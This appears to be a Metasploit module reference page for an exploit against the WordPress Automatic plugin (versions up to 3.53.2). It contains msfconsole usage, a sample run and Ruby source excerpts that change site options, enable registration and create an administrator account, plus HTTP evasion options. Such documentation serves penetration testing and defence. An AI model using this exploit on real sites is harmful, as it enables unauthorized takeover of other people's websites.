WordPress Plugin Automatic Config Change to RCE - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/wp_automatic_plugin_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress Plugin Automatic Config Change to RCE
Module: auxiliary/admin/http/wp_automatic_plugin_privesc
Source code: modules/auxiliary/admin/http/wp_automatic_plugin_privesc.rb
Disclosure date: 2021-09-06
Last modification time: 2021-11-04 15:28:05 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits an unauthenticated arbitrary wordpress options change vulnerability in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email address will be changed. User registration is enabled, and default user role is set to administrator. A user is then created with the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use auxiliary/admin/http/wp_automatic_plugin_privesc
msf auxiliary(wp_automatic_plugin_privesc) > show targets
... a list of targets ...
msf auxiliary(wp_automatic_plugin_privesc) > set TARGET target-id
msf auxiliary(wp_automatic_plugin_privesc) > show options
... show and set options ...
msf auxiliary(wp_automatic_plugin_privesc) > exploit
Required Options
RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
EMAIL: Email for registration
Knowledge Base
Vulnerable Application
This module exploits an unauthenticated arbitrary wordpress options change vulnerability in the Automatic (wp-automatic) plugin <= 3.53.2.
If WPEMAIL
is provided, the administrator's email address will be changed.
User registration is enabled, and default user role is
set to administrator. A user is then created with the USER
name set.
A valid EMAIL
is required to get the registration email (not handled in MSF).
A vulnerable version of the plugin can be downloaded here
Verification Steps
- Install the vulnerable plugin
- Start msfconsole
- Do:
use auxiliary/admin/http/wp_automatic_plugin_privesc
- Do:
set rhosts [IPs]
- Do:
set email [email address]
- Do:
run
- You should get an email to setup your new admin account.
Options
Email for registration. No default.
USER
Username for registration, defaults to msfuser
WPEMAIL
Wordpress Administration Email. No default.
Scenarios
wp-automatic 3.50.7 on Wordpress 5.4.4 No WPEMAIL
resource (automatic.rb)> use auxiliary/admin/http/wp_automatic_plugin_privesc
[*] Using auxiliary/admin/http/wp_automatic_plugin_privesc
resource (automatic.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (automatic.rb)> set verbose true
verbose => true
resource (automatic.rb)> set email [email protected]
email => [email protected]
resource (automatic.rb)> run
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Enabling user registrations...
[*] Setting the default user role type to administrator...
[*] Registering msfuser with email [email protected]
[+] For a shell: use exploits/unix/webapp/wp_admin_shell_upload
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the admin/http/wp_automatic_plugin_privesc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/wp_automatic_plugin_privesc
msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show info
Name: WordPress Plugin Automatic Config Change to RCE
Module: auxiliary/admin/http/wp_automatic_plugin_privesc
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2021-09-06
Provided by:
h00die
Jerome Bruandet
Module side effects:
config-changes
ioc-in-logs
Module stability:
crash-safe
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL yes Email for registration
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USER msfuser yes Username for registration
VHOST no HTTP server virtual host
Description:
This module exploits an unauthenticated arbitrary wordpress options
change vulnerability in the Automatic (wp-automatic) plugin <=
3.53.2. If WPEMAIL is provided, the administrator's email address
will be changed. User registration is enabled, and default user role
is set to administrator. A user is then created with the USER name
set. A valid EMAIL is required to get the registration email (not
handled in MSF).
References:
https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/
NOCVE (Patched in 3.53.3 without vendor disclosure)
Module Options
This is a complete list of options available in the admin/http/wp_automatic_plugin_privesc auxiliary module:
msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show options
Module options (auxiliary/admin/http/wp_automatic_plugin_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL yes Email for registration
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USER msfuser yes Username for registration
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/wp_automatic_plugin_privesc auxiliary module:
msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show advanced
Module advanced options (auxiliary/admin/http/wp_automatic_plugin_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, T
LS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
WPEMAIL no Wordpress Administration Email (default: no email modification)
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/wp_automatic_plugin_privesc module can do:
msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/wp_automatic_plugin_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Wordpress not detected.
Here is a relevant code snippet related to the "Wordpress not detected." error message:
50: OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil, nil, URI::MailTo::EMAIL_REGEXP])
51: ]
52: end
53:
54: def check
55: return Exploit::CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
56:
57: # this is for pickup into the vulnerable plugins list
58: # check_plugin_version_from_readme('wp-automatic', '3.53.3')
59:
60: if set_wp_option(Rex::Text.rand_text_numeric(8..20), Rex::Text.rand_text_numeric(8..20))
Automatic not a vulnerable version
Here is a relevant code snippet related to the "Automatic not a vulnerable version" error message:
59:
60: if set_wp_option(Rex::Text.rand_text_numeric(8..20), Rex::Text.rand_text_numeric(8..20))
61: checkcode = Exploit::CheckCode::Vulnerable
62: else
63: checkcode = Exploit::CheckCode::Safe
64: print_error('Automatic not a vulnerable version')
65: end
66: checkcode
67: end
68:
69: def set_wp_option(key, value)
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
72: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'process_form.php'),
73: 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
74: 'vars_post' => { key => value },
75: 'keep_cookies' => 'true'
76: })
77: fail_with(Failure::Unreachable, 'Site not responding') unless res
78: res && res.code == 200 && res.body.include?('{"status":"success"}')
79: end
80:
81: def run
82: # lots of copy pasta from wp_gdpr_compliance_privesc
Changing admin e-mail address to <WPEMAIL>...
Here is a relevant code snippet related to the "Changing admin e-mail address to <WPEMAIL>..." error message:
79: end
80:
81: def run
82: # lots of copy pasta from wp_gdpr_compliance_privesc
83: if datastore['WPEMAIL'].present?
84: print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
85: fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
86: end
87:
88: print_status('Enabling user registrations...')
89: fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
Failed to change the admin e-mail address
Here is a relevant code snippet related to the "Failed to change the admin e-mail address" error message:
80:
81: def run
82: # lots of copy pasta from wp_gdpr_compliance_privesc
83: if datastore['WPEMAIL'].present?
84: print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
85: fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
86: end
87:
88: print_status('Enabling user registrations...')
89: fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:
Failed to enable user registrations
Here is a relevant code snippet related to the "Failed to enable user registrations" error message:
84: print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
85: fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
86: end
87:
88: print_status('Enabling user registrations...')
89: fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:
91: print_status('Setting the default user role type to administrator...')
92: fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')
93:
94: print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
Failed to set the default user role
Here is a relevant code snippet related to the "Failed to set the default user role" error message:
87:
88: print_status('Enabling user registrations...')
89: fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:
91: print_status('Setting the default user role type to administrator...')
92: fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')
93:
94: print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
95: fail_with(Failure::UnexpectedReply, 'Failed to register user') unless datastore['EMAIL'].present? && wordpress_register(datastore['USER'], datastore['EMAIL'])
96:
97: vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
Failed to register user
Here is a relevant code snippet related to the "Failed to register user" error message:
89: fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:
91: print_status('Setting the default user role type to administrator...')
92: fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')
93:
94: print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
95: fail_with(Failure::UnexpectedReply, 'Failed to register user') unless datastore['EMAIL'].present? && wordpress_register(datastore['USER'], datastore['EMAIL'])
96:
97: vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
98: end
99: end
Go back to menu.
Related Pull Requests
- #15847 Merged Pull Request: Fix bug in tab completion in case-sensitive situations
- #15820 Merged Pull Request: Fix named pipe pivoting
- #15834 Merged Pull Request: Add Exploit for CVE-2021-40449
- #15846 Merged Pull Request: Tab-complete for file downloads
- #15802 Merged Pull Request: Add Exploit for CVE-2021-38648 (OMIGOD LPE)
- #15844 Merged Pull Request: Add in new definitions to definitions.h
- #15845 Merged Pull Request: Don't getsystem if we are already SYSTEM
- #15840 Merged Pull Request: Give warning rather than failure when running DCSync as SYSTEM
- #15838 Merged Pull Request: sap_router_portscanner: rename validate function
- #15748 Merged Pull Request: Run metasploit in Kubernetes
- #15818 Merged Pull Request: Fix Partial WebSocket Reads
References
- CVE: Not available
- https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/
- NOCVE-Patched in 3.53.3 without vendor disclosure
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/admin/http/sophos_wpa_traversal
Authors
- h00die
- Jerome Bruandet
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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